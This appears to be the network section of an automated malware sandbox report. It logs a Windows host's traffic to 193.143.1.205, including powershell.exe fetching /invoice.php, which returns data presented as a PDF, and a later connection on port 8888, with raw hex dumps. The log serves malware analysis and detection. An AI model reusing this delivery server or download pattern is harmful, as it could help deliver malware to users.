Jan 11, 2025 03:37:48.990144014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.990154028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.990202904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.990211010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.990272999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.018050909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018083096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018129110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018141031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018157005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.018177032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.018245935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018259048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018306971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.018448114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018464088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018477917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018487930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018503904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018510103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.018542051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.018637896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018661022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018666029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018671036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.018735886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.047399044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047429085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047440052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047522068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047532082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047622919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.047622919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.047622919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.047651052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047661066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047698975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047710896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047717094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047729015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.047775030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.047934055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047944069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047955036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047964096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.047983885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048002958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048141956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048151016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048160076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048187971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048206091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048305035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048317909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048327923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048337936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048348904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048357010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048409939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048580885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048595905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048605919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048615932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048625946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048635006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048644066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048654079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048661947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048671007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048681974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048691988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048702002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048707962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.048726082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.048748016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049207926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049221039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049232960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049242973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049252987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049266100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049271107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049279928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049309969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049460888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049504995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049644947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049654961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049664974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049674988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049685001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049694061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049701929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049711943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049721956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049731970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049736977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049746990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049756050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049766064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049772024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.049782991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.049799919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.050446033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050453901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050463915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050473928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050483942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050493002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.050501108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050510883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050520897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050529957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050542116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050546885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.050555944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050565004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050575018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050581932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.050590992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050601006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050611019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.050616026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.050637007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051429987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051441908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051451921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051461935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051472902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051481009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051491022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051497936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051506042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051516056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051525116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051532984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051539898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051549911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051559925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051568031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051574945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051584005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051594973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051600933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051609993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051619053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.051628113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.051651955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.052227974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.052238941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.052248955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.052258015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.052280903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.052309036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.109782934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.114557981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114598989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114619970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114715099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.114769936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114780903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114792109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114803076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.114830971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.114849091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.115017891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115029097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115042925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115055084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115066051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115076065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.115086079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115097046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115117073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.115150928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.115411043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115422010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115432978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115443945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115456104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115467072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.115473986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.115518093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.135766983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135819912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135831118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135902882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135912895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135919094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135931015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.135938883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136020899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136177063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136188030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136198997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136209965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136218071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136255026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136393070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136403084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136420012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136432886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136492968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136568069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136578083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136589050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136600018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136610031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136620998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136631012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136637926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136646986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136678934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136694908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.136946917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136956930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.136967897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137002945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.137089968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137099981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137110949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137120008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137130976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.137136936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137146950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:49.137154102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.137195110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.253015995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.256514072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:49.838411093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:50.408689022 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:50.413889885 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:50.413976908 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:50.414901018 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:50.419792891 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:51.230737925 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:51.278052092 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:51.425951958 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:38:03.347239971 CET	54534	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:38:19.687685013 CET	51458	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:38:03.347239971 CET	192.168.2.4	1.1.1.1	0xd311	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:38:19.687685013 CET	192.168.2.4	1.1.1.1	0x5c83	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:38:03.354599953 CET	1.1.1.1	192.168.2.4	0xd311	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:38:19.695348024 CET	1.1.1.1	192.168.2.4	0x5c83	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7144	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:37:47.598948956 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:37:48.400759935 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:37:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:37:48.400808096 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:37:48.400821924 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:37:48.400903940 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:37:48.400916100 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 03:37:48.400928974 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 03:37:48.401060104 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
